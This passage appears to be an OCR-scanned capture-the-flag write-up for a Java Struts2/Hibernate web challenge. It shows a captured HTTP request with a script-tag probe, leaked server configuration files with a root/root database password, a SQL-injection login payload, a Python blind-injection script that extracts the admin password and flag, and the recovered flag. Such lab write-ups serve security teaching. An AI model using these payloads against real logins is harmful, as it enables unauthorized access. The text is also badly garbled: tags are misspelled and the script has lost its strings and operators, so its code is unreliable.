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GET flist HTTR/M 1 : HTTR/.1 200
Host: 220.243.52.133:32568 Content-Type: text/html; charset=UTF-8
User-Agent: Mozilla/5.0 (Windows NT 10.0; WinG4; x64; n:79.0) Gecko/20100101 Firefox/79.0 Content-Length: 3948
Accept: text/html application/xhtml+xml,application/xml;q=0.9 image/webp *f*;q=0.8 Date: Mon, 10 Aug 2020 11:24:44 GMT
Accept-Language: zh-CM,zh;q=0.8 zh-TW,q=0.7 ,zh-HIK;¢=0.5 en-US;¢=0.3 en;q=0.2 Connection: close

Accept-Encoding: gzip, deflate

Connection: close

Cookie: PHPSESSID=uc318as6la7 g7 hdadm2tp? pvls:
ISESSIONID=CFD1?1054DBEBBSSBSE?MSBDSSSQFBD I
Upgrade-Insecure-Hequests: 1

<script=alert("i# #: Z ") </script>

<IDOCTYPE htmi=

<html=

<head>

|] <meta http-equiv="Content-Type" content="text/html; charset=UTF-8">

<meta http-equiv="Fragma" content="no-cache">
<meta http-equiv="Cache-Control" content="no-cache">
<meta http-equiv="Expires" content="0"=>
<title= J§ £ & Fe<ftitle>

</head=
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background:url(. /loadimage?fileName=web login_bg. jpg)| no—repeat center;
background—-size: cover;

color:827A9E3;
o
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<?xzml version="1.0" encoding="UTF-8"?2>
<web-app 1d="WebApp 9" version="2.4"
zmlns="http://java.sun.com/xml/ns/j2ee"
xmlns:xsi="http://www.w3.0rg/2001/XMLSchema-instance"
E %si:schemalocation="http://java.sun.com/xml/ns/j2ee http://java.sun.com/xml/ns/j2ee/web-app 2 4.xsd">

<display-namg>StrutsBlank isplay-name>
<filter>
<filter-hame>struts2</filjter-name>
<filter-CIoScS>0rg.apache.struts2.dispatcher.ng.filter.StrutsPrepareAndExecuteFilter</filter-class>
10 = </filter>
<filter-mapping>
<filter-name>struts2</filter-name>
<url-pattern>/*</url-pattern>
- </filter-mapping>
= <welcome-file-list>
<welcome-file>/ctfpage/index.jsp</welcome-file>
17 = </welcome-file-list>
=] <error-page>
<error-code>404</error-code>
<location>/ctfpage/404.html</location>
- </error-page>
~</web-app>
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<beans zmlns="http://www.springframework.org/schema/beans"
zmlns:xsi="http://www.w3.0org/2001/XMLSchema-instance"
%s5i:schemalLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/k
% <bean id="dataSource" class="org.springframework.jdbc.datasource.DriverManagerDataScurce">
= <property name="driverClassName">
<value>com.mysql.jdbec.Driver</value>
</property>
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<property name="url">
<value>jdbe:mysqgl://localhost:3306/sctf</value>
. </property>
<property name="username" value="root"/>
<property name="password" value="root" />
o </bean>
E <bean id="sessionFactory" class="org.springframework.orm.hibernate3.LocalSessionFactoryBean">
= <property name="dataSource">
<ref bean="dataSource"/>
. </property>
= <property [[aMm=="mMappingLycations">
<Value>user.hbm.xmﬂ< value>
> </property
E <property name="hibernateProperties">
H <props>

<prop key="hibernate.dialect">org.hibernate.dialect.MySQLDialect</prop>
<prop key="hibernate.show sqgl">true</prop>
- </props>
. </property>
</bean>
<bean id="hibernateTemplate" class="org.springframework.orm.hibernate3.HibernateTemplate">
<property name="sessionFactory":>
<ref bean="sessionFactory"/>
- </property>
</bean>
<bean id="transactionManager" class="org.springframework.orm.hibernate3.HibernateTransactionManager">
<property name="sessionFactory">
<ref bean="sessionFactory"/>
- </property>
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"-//Bpache Software Foundation//DTD Struts Configuration 2.3//EN"
"http://struts.apache.org/dtds/struts-2.3.dtd">
J<struts>
<constant name="strutsenableDynamicMethodInvocation" valus="false"/>
<constant name="struts.mapper.alwaysSelectFullNamespace" valus="true" />
<constant name="struts.action.extension" value=",6"/>
E <package name="front" namespace="/" extends="struts-default">
g <global-exception-mappings>
<exception-mapping exception="jawva.lang.Exception" result="error"/>
- </global-exception-mappings>
| <action name="zhuanxvlegin" class="com.cuitctf.action.UserLoginAction" method="execute">
<result name="error">/ctfpage/login.jsp</result>
<result name="success">/ctfpage/welcome. jsp</result>

E(!DOCTYPE struts PUBLIC

- </action>
% <action name="loadimage" class="com.cuitctf.action.DownloadAction">
H <result name="success" type="stream">

<param name="contentType">image/jpeg</param>
<param name="contentDisposition">attachment;filename="bg.jpg"</param>
<param name="inputName'>downloadFile</param>
- </resultﬂ
<result name="suffix error">/ctfpage/welcome.jsp</result>
o </action>
- </package>
B <package name="back" namespace="/" extends="struts-default">
E <interceptors>
<interceptor name="oa" class="com.cuitetf.util.UserOAuth"/>
E <interceptor-stack name="userAuth">
<interceptor-ref name="defaultStack" />
<interceptor-ref name="oa" />
</interceptor-stack>
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Welcome, 1'or(name)like'ho%'or"like'
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import requests

admin_password
for i in (1,9):
for n in (30,140):
guess (n)
if guess
continue
username
guess
data { : username, : }
req requests.post(url, data=data, timeout=1000).text
if (req)>5000:
admin_password admin_password guess
print ( admin_password)
break
return admin_password
def second(admin_password):
flag
for i in (1,50):
for n in (30,140):
guess (n)
if guess
continue

username (1)

data = { : username, : admin_password}
req requests.post(url, data=data, timeout=1000).text
if (req)>5000:
flag = flag + guess
print ( flag)
break
admin_password = first()
second(admin_password)
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= flag:SCTF{C46E250926A2DFFD831975396222B08E}
flag:SCTF{C46E250926A2DFFD831975396222BO8E}
flag:SCTF{C46E250926A2DFFD831975396222BO8E}
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